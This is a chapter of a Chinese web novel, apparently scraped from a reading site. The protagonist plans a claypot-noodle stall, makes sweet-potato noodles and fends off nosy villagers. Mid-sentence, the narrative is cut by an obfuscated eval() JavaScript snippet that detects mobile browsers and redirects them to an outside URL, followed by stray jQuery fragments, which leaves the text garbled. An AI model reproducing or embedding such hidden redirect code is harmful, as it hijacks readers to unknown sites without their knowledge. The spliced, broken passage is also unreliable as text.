默认冷灰
24号文字
方正启体

7. 制作粉条

作者:神佑小白狐本书字数:K更新时间:
    经过两日的忙碌,林小满与众人终于将腊肠制作完成并开始熏制。在这期间,不时有乡邻上门探听制作腊肠的秘方,但都被崔三娘巧妙地支走了。她心里明白,这些人不过是看到林小满家日子有了起色,便想着攀亲戚、讨好处。她冷笑一声,心想:“这些所谓的亲戚,在林小满父亲去世后,可曾对王氏母子有过一丝关心?如今倒好,什么都没付出就想得到满哥儿的秘方,真是痴心妄想。”


    林小小满此时正倚在老樟木箱旁,整理着旧时的衣衫。他的指尖轻轻抚过那些褪了色、打了补丁的衣物,眼中却没有一丝波澜。


    崔三娘坐在屋内的桌前,正帮着王铁柱补袄子。她手中的麻线拽得哧啦作响,嘴里也不闲着:“那些所谓的亲戚,比隔夜的糜子粥还黏牙!”她一边说着,一边扭头冲着厨房努了努嘴,意有所指地继续说道:“开春时借的粮种,到了秋后只还了半斗瘪谷谷,真是让人心寒。”


    王氏听到这些话,指尖微微颤了颤,但终究没有说什么。她只是对着灶膛里呼呼作响的火苗轻轻点了点头。


    这几日,林小满一直眉头紧锁,思索着如何让那一百斤腊肠更快地销出去。这天,他下到地窖,准备查看储存的食材,突然瞥见角落里堆着的地瓜,心中不禁疑惑。林小满拿起一个地瓜,拍了拍上面的灰尘,转身问正在整理杂物的王氏:“娘,家里有地瓜,怎么不见您煮来吃呢?”


    王氏抬头,见儿子手中拿着地地瓜,笑道:“傻孩子,那都是给猪吃的。咱们家虽然没养猪,但存着些地瓜,万一哪天断粮了,猪食不吃也得吃,总不能饿着肚子吧。”


    林小满一听,眉头皱得更紧了,语气中带着几分急切:“哎呦,娘,这地瓜可是好东西!虽说吃多了会胀气,但能做不少美食呢。”他一边说,一边摇头,觉得娘亲这般对待地瓜,简直是暴殄天物。


    王氏见他这副模样,有些迟疑,低声说道:“可是……大家平日里都是拿地瓜喂猪的,只有那些实在没粮的人家才会吃这个。早些年,村里有户人家穷得叮当响,顿顿吃地瓜,结果……人吃没了。”


    林小满知道娘亲的顾虑,便耐心解释道:“娘,地瓜确实饱腹,胀气是因为吃多了,消化不了。只要不一直吃撑,适量吃是没问题的。而且,地瓜还可以做成粉条,做好了能存放很久,味道也特别好。”


    王氏听他这么一说,眼睛一亮,,连忙问道:“真的?那这粉条怎么做?难不难?”


    林小满笑着摆摆手:“容易得很,就是费点力气的事儿。”他一边说,一边在心里盘算着。这不正好嘛,自己正愁那一百斤腊肠怎么卖出去,若是摆个砂锅粉的摊位,腊肠可以当食材,既能消耗一些腊肠,又能多添个吃食,岂不是一举两得?


    他越想越觉得这主意不错。砂锅粉在前世的夜市可是颇受欢迎的美食,热气腾腾的砂锅,配上滑滑嫩的粉条,再加上腊肠、青菜等配料,香气扑鼻,谁能抵挡得住?说不得,这里的人也会喜欢呢!


    想到这里,林小满心中豁然开朗,嘴角不自觉地扬起一抹笑意。林小满转身对王氏说道:“娘,您等着,我这就去准备,咱们试试做粉条,再摆个砂锅粉的摊位,保准能让腊肠卖得更快!”林小满把想法给王氏一说,王氏想了想,“还是跟三娘他们商讨一下吧,如果要做这砂锅粉的买卖,还得置办不少东西。”


    说的也是,砂锅,炉子,碗筷什么的,一置办起来又是一笔不小的费用。林小满有些气馁,钱还没赚着,花得那是越来越多了。


    冬日的阳光洒在几人的脸上,他们围坐在院子里,聚精会神地听着林小满的主意。


    林小满的话语刚落,沈青山便陷入了沉思。他缓缓说道:“满哥儿,你的想法不错。前期的置办虽然需要一些投入,但也不算太大。砂锅和炉子我们可以找村头的周大叔帮忙制作,他手艺好,价格也公道。至于摆摊用的推车、木桌、凳子和碗筷,我们可以找村里的木匠,大家都是熟人,价格不会太高。只是,这粉条的制作方法,你清楚吗?”


    林小满点了点头,回答道:“粉条的制作并不复杂,主要原料是地瓜,只是制作过程比较费劲。砂锅粉的汤底需要加入一些香料,可能会比较贵。”


    沈青山听后,心中盘算了一番。他觉得这个生意投入不算太大,而且如果做得好,不仅可以在集市上卖,还可以去镇上租个小摊子,不失为一个长期的买卖。


    林小满继续与大家讨论着细节:“地瓜在村里不值钱,我们有大白菜,肉的话主要是腊肠,还有你提供的兔肉和鸡肉。我们再买点五花肉和排骨,应该就差不多了。”


    林小满补充道:“最重要的是汤底,我们可以用大骨头来熬,再加上我的秘制调料。如果一份卖十文钱,应该还能赚一点。”


    “十文,会不会有些贵了?”王氏眉头微蹙,手指无意识地摩挲着围裙的边角,语气中透着深深的忧虑。她想起镇上的白面馒头,一文钱一个,成年男子一般吃三个也就饱了。而他们这一份砂锅粉就要十文,虽说有粉有菜有肉,但毕竟粉条这东西,镇上的人见都没见过,怕是不会好卖。


    “娘,这个价格不高了。”林小满轻抚王氏的手背,柔声安慰道,“咱们这砂锅粉有粉有菜有肉的,十文都是低了的。粉条大家没见过,算是个稀罕物,咱们的腊肠卖相也好,肯定不愁卖的。”


    “嗐,婶子别担心。”王铁柱大大咧咧地拍了拍胸脯,声音洪亮,“我往日在镇上干活,外面那些面摊的价格也不低,吃起来味道也一般。我相信满哥儿的手艺,不比他们差的,也就比他们贵上三两文。”


    沈青山端着粗瓷碗,慢条斯理地喝了口水,沉稳地说道:“婶子放心,满哥儿有这手艺,就是单卖粉条也能赚钱。不过大家没见过粉条,如果我们推出砂锅粉,大家看着吃着,就知道这东西的好了,还能顺便卖些干粉条、腊肠什么的,总不会亏了。”


    “婶子怕啥?”崔三娘在一旁笑着接话,语气中带着几分轻松与调侃,“青山小子跟铁柱对镇子可比我俩熟多了,青山是个有见识的,他说行那肯定行,这腊肠订单就是证明。再说铁柱这家伙就是个馋嘴会吃的,对满哥儿做的腊肠都喜欢不已,相信别人也会喜欢的。”


    大家都这么说了,王氏的心稍安,脸上的忧虑渐渐散去。她抬头看了看围坐在一起的众人,眼中闪过一丝坚定与期待。她点了点头,语气中带着几分释然:“既然大家都这么说,那我就放心了。咱们接下来就好好商量一下,看看怎么把这砂锅粉和腊肠卖


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266107|166575||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    出去。”


    屋内的气氛顿时活跃起来,大家你一言我一语,开始热烈地讨论起接下来的计划。


    粉条的制作工艺虽不繁复。选取红皮黄心的地瓜,以井水浸泡,而后切碎成块。石磨缓缓转动,将薯块磨成细腻的浆汁,再以细密的白纱滤去杂质,所得浆水倾入陶缸静置。


    缸中木棍需每日晨、午、晚各搅动一次,五日过后,缸面浮沫尽去,缸底沉淀出晶莹如雪的薯粉。取湿淀粉团置于竹匾,阴干三日,待其微干后,以草木灰水调和揉搓。榆木棒槌需反复捶打三百下,直至面团通透如玉,拉丝如缕。


    最精妙处在于漏丝工艺。铜漏勺悬于沸水锅上,拳大粉团入孔,木槌轻敲震丝,银丝入水即凝。竹笊篱捞起,迅速浸入冰泉,绕竿成把,宛若银练。松枝熏棚内,粉条需阴干三昼夜,择北风清朗之日,悬于竹篙曝晒。成品击之铿锵如碎玉,入水复软而弹牙。


    冬月制作最佳,温度关乎劲道。寒气愈盛,粉条愈显韧性。


    在寒冷的冬日里,林小满家的院子里热闹非凡,制粉条的动静不小,吸引了众多村民的目光,院子里围满了人,明里暗里都在探听消息。


    “满哥儿他娘,你们这是在做什么呢?这竹竿上挂着的是何物?”王大娘笑容满面地凑上前来,眼中闪烁着好奇与期待,“这是又想到了赚钱的法子?可要带着咱村里人一起啊,大家也想过个好年呢。”


    一旁围观的村民都点点头,纷纷应和。


    “这是粉条,可以煮着吃可以做菜吃,这是我们要在集市摆摊卖的呢,各位大叔大婶如果感兴趣想尝尝欢迎来帮衬啊!”林小满故作满脸高兴,声音洪亮而充满自信,“不贵的,十文一把,煮出来可够三个人吃呢!”


    村东李寡妇今天也过来凑热闹,她撇了撇嘴,语气中带着一丝不满,“哎,满哥儿这话说得,咱们都是一个村里的,不说送我们一人一把。还要收十文,这亏心钱可不经赚啊。”


    “呸,想什么好事儿呢!这是满哥儿的方子,制粉条又辛苦,怎么可能白送给你尝,十文还是看在大家乡里乡亲的份上,我们去集市可要十二文一把的呢,都是赚个辛苦钱。”崔三娘在一旁摆摆手,语气坚定而有力。


    “好了你们,别在这围着了,想看热闹的过两天集市看去。”崔三娘挥了挥手,试图驱散这群好奇的村民。


    李寡妇悻悻然,脸上写满了不满,“不给就不给,这么贵看你们怎么卖得出去,呸。”说完,她扭头就走,仿佛带着一股怨气。其余村民看着占不到便宜,嘟嘟囔囔分头散去了,院子里顿时安静了许多。


    “这人真是……”崔三娘气不过,眼中闪过一丝怒火,想出去找李寡妇理论,却被林小满拉住了。


    “三娘别气了,他们这是吃不到葡萄倒说葡萄酸呢,咱们别跟他们置气。”林小满轻声安慰道,脸上依旧挂着淡淡的笑容。


    “好吧好吧。”崔三娘深吸口气,努力让自己平静下来。她深知,这些村里人平时就爱聊天说八卦,尤其是这大冬天的没事做,更喜欢坐一起唠叨别人家的事。如果一个个计较下去,也闹得不好看。


    篱笆门的门闩咔嗒落下,冬日的阳光透过稀疏的树枝,洒在院子里,映照出一片宁静与安详。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)